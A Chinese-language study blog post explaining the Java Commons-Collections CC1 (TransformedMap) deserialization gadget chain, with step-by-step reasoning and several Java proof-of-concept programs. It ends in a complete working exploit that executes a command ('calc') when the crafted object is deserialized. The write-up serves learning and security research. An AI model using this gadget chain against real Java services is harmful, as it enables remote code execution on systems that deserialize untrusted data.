前言

感觉最近Java考的用的很多,自己对于Java是0基础,让我迫切想要开始学,看了大佬的学习链是从开发开始,那样感觉就太慢了而且自己对于开发兴趣不大,但是偏偏又离不开开发,只能边学开发边看安全,虽然有点急了但是也没办法了

一点建议

如果没有学过Java或者不了解idea的操作的话开始CC链之前强烈建议先跟URLDNS链,把该踩的坑踩了再弄CC链会顺畅很多

环境配置

这里我就列一下自己踩的坑,作为一个对Java和idea不熟悉的新手容易犯的错

jdk

jdk要求是jdk8u65,在官网我下载的时候选择8u65但是下载的却不是,另外的平台
安装会同时安装jdk和jre我们需要的是jdk不要把jre也放在jdk目录下,不然idea导入jdk会失败下载完的目录如下
image-20230426214158005

加入依赖

1
2
3
4
5
6
7
<dependencies>  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

这里当创建好maven项目后在依赖中如果没有放依赖的标签<dependencies> </dependencies>那么需要你自己去创建,你的依赖必须由它包裹

其它环境

参考:
Java反序列化Commons-Collections篇01-CC1链 | Drunkbaby’s Blog (drun1baby.top)
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
基本上就没啥问题了

Common-Collections 相关介绍

这一部分前辈们已经说的很清楚了,我这里放一下方便自己观看
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

开始分析

CC1链分为两个版本,这里引用一下lengf233师傅的介绍,“关于CC1链其实是有两条的,一个是LazyMap这一条链,另外一条就是TransformMap链,第二条链是传入国内之后被发现的。”很多分析文章没有介绍这一点,我也是看了师傅的文章才知道,这里分析TransformMap链
用一下佬的流程分析图
image-20230426214421823
我们的目的是在最后的命令执行,既然在最后那么必然需要一个到这里的类,选择一个接收任意对象含有readObject方法的类作为入口类,中间用链子其它方法链起来那么就到达了目的

逆向分析,寻找exec方法

我们直接找哪里会调用exec方法,前人经验在Transformer接口中,所以直接到这里来,在Common-Collections.jar包中找到这个接口
image-20230426214435545
然后ctrl+alt+b可以查看实现了该接口的类,最终找到了InvokerTransformer类,在该类下有个transform方法里面调用了invoke方法,此时还没感觉有什么,我们跟进看一下,可以看到它所在的类为Method类,这个类所在的包为Java中鼎鼎大名的反射包,Method中invoke(Object obj,Object…args)方法的第一个参数为类的实例,第二个参数为相应函数中的参数
image-20230426214448720
那么就可以利用反射调用任意类,先尝试利用它来弹个计算器

1
2
3
4
5
6
7
8
9
10
11
12
public class Dome {  
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); //获取Runtime实例

Class c = runtime.getClass(); //获取Class实例对象

Method cMethod = c.getMethod("exec", String.class); //利用反射获取Runtime的exec方法

cMethod.invoke(runtime,"calc"); //在runtime实例上调用exec方法并传入calc参数

}
}

这里反射调用exec方法为,先得到Runtime类的对象runtime,再得到类中所有方法的对象c,
然后得到exec方法并赋值给cMethod,然后使用Method类的invoke方法执行Runtime类中的exec方法并传入参数calc,也有一种链子的感觉
image-20230426214518703
然后改写为InvokerTransformer类中的transform方法来弹,由于transform方法为public所以无需反射

1
2
3
4
5
6
7
8
9
10
public class Dome {  
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); //获取Runtime实例

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(runtime);

}
}

第二句为什么要那样构造跟进类和方法看一下就能理解
image-20230426214543314
然后根据最后一句invokerTransformer.transform(runtime);去寻找不同名函数,这里我出了一个问题就是我全局搜索不到transform方法的引用,原因是在maven中没有下载jar包的源码,所以在这里搜不到,参考解决,然后find usages就能找到这个方法的引用
image-20230426214555687
最终找到TransformedMap类的checkSetValue方法
image-20230426214602802
跟进一下valueTransformer方法,看到它的构造

1
2
3
4
5
6
7
8
9
10
11
12
public class TransformedMap  
extends AbstractInputCheckedMapDecorator
implements Serializable {

protected final Transformer valueTransformer;

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
}

是一个保护类型变量通过构造函数赋值,继续往下看找到一个public方法返回了构造函数

1
2
3
4
5
6
7
8
9
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}

这里再回忆一下我们一开始的尾部invokerTransformer.transform(runtime);所以这里让valueTransformer为invokerTransformer是不是就可以弹计算器了,但是由于valueTransformer是protected型所以我们就要利用反射来获得,开始构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Dome {  
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); //获取Runtime实例

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
//这里创建一个hashmap对象是因为decorateTransform方法第一个参数为map对象

Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
//得到一个新的TransformedMap对象

Class<TransformedMap> transformedMapClass = TransformedMap.class;
//获得TransformedMap类的对象

Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);

checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap,runtime);

}
}

利用成功
image-20230426214628370
然后这里.decorate无法再继续往前了,所以得重新找一条,还是find usages,不过这次是找checkSetValue的索引,然后找到了AbstractInputCheckedMapDecorator类即TransformedMap的父类
image-20230426214744010
里面的setValue方法调用了checkSetValue方法

1
2
3
4
public Object setValue(Object value) {  
value = parent.checkSetValue(value);
return entry.setValue(value);
}

而调用了setValue的类是AbstractInputCheckedMapDecorator的内部类MapEntry
image-20230426214800338
setValue方法就是对键值对中的值赋值的操作,跟进去即可看到
image-20230426214809746
然后继续对setValue查找索引find usages,如果是readObject用了这个方法那么就找到了入口
在这里找到入口类AnnotationInvocationHandler里面的readObject方法调用了setValue方法
image-20230426214825669
但是要调用setValue方法首先得满足两个条件,也就是这两个if,memberType不能为空,第二个if首先判断变量”value”是否是指定的类型”memberType”的实例,这里使用了Java中的isInstance方法。如果”value”是指定类型的实例,则条件表达式的值为true,整个条件语句的执行结果为false。如果”value”不是指定类型的实例,接下来再判断”value”是否是ExceptionProxy类的实例。如果”value”是ExceptionProxy类的实例,则条件表达式的值为true,整个条件语句的执行结果为false。
image-20230426214837403
接下来构造exp

TransformedMap 版CC1 EXP

下面是理想情况下的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Dome {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); //获取Runtime实例

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
//这里创建一个hashmap对象是因为decorateTransform方法第一个参数为map对象

hashMap.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decorateMap);

//序列化与反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是这个payload还有三个问题没解决所以注定会失败

  1. Runtime对象不能被序列化
  2. setValue传入的对象应该是Runtime对象的,而在实际情况中确是AnnotationTypeMismatchExceptionProxy
    3.通过两个if判断

解决Runtime不能序列化

Runtime不能序列化因为这个类没有Serializable接口,但是Runtime.class可以,先写一个普通的反射

1
2
3
4
5
6
7
8
9
10
11
public class test {  
public static void main(String[] args) throws Exception {
Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime");
//将runtime强制转换为Runtime对象
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
//获取exec方法
Method method = runtimeClass.getMethod("exec", String.class);
method.invoke(runtime,"calc");
}
}

然后将Runtime改为InvokerTransformer 调用的方式,这里为了避免冗余,可以直接使用ChainedTransformer类去套,ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

1
2
3
4
5
6
7
8
9
10
11
public class test {  
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

再把它与 decorate 的链子结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Dome {
public static void main(String[] args) throws Exception {
//用于解决第一个问题,Runtime不能被序列化
Transformer[] transformers= new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> hashMap = new HashMap<>();
//这里创建一个hashmap对象是因为decorateTransform方法第一个参数为map对象

hashMap.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decorateMap);
//序列化与反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

解决传入对象不为Runtime对象

这里找到ConstantTransfomer,看它里面的两个方法
image-20230426214930163

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {  
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

transform方法返回构造函数中传入的参数,那么控制其返回Runtime.class就解决了这个问题
所以现在payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers= new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("kkk","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHdConstructor = c.getDeclaredConstructor(new Class[]{Class.class,Map.class}); //获取类的构造方法
annotationInvocationHdConstructor.setAccessible(true); //保证可以访问
Object o = annotationInvocationHdConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");

解决两个if问题

通过调试发现,这里不会进入if会直接跳过setValue
image-20230426214954634
我们往上分析一下memberType的来源看看它的作用
image-20230426215001865
可以看到它是获取传参中注解的成员方法,所以memberType不能为空即注解的成员方法不能为空,然后去找传入的注解
image-20230426215011729
可以看到注解为Override,点进去看看
image-20230426215022091
为空,所以这个注解不行,用Target.class 尝试一下,点进 Target,当中有一个成员变量为 value,所以我们 hashmap.put 也需要修改为 value,因为第二个if就是判断成员变量与hashMap传入的参数是否相等,修改完之后到结束了

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Dome {
public static void main(String[] args) throws Exception {
//用于解决第一个问题,Runtime不能被序列化
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
//这里创建一个hashmap对象是因为decorateTransform方法第一个参数为map对象

hashMap.put("value","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorateMap);
//序列化与反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

弹出成功
image-20230426215110821

总结

看一下整个的利用链

1
2
3
4
5
6
7
8
9
InvokerTransfomer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocation#readObject

辅助利用链
ConstantTransformer
ChainedTransformer
HashMap

流程图
image-20230426215124329
感觉跟完还是有点懵,不知道如何利用,还是得实际运用一下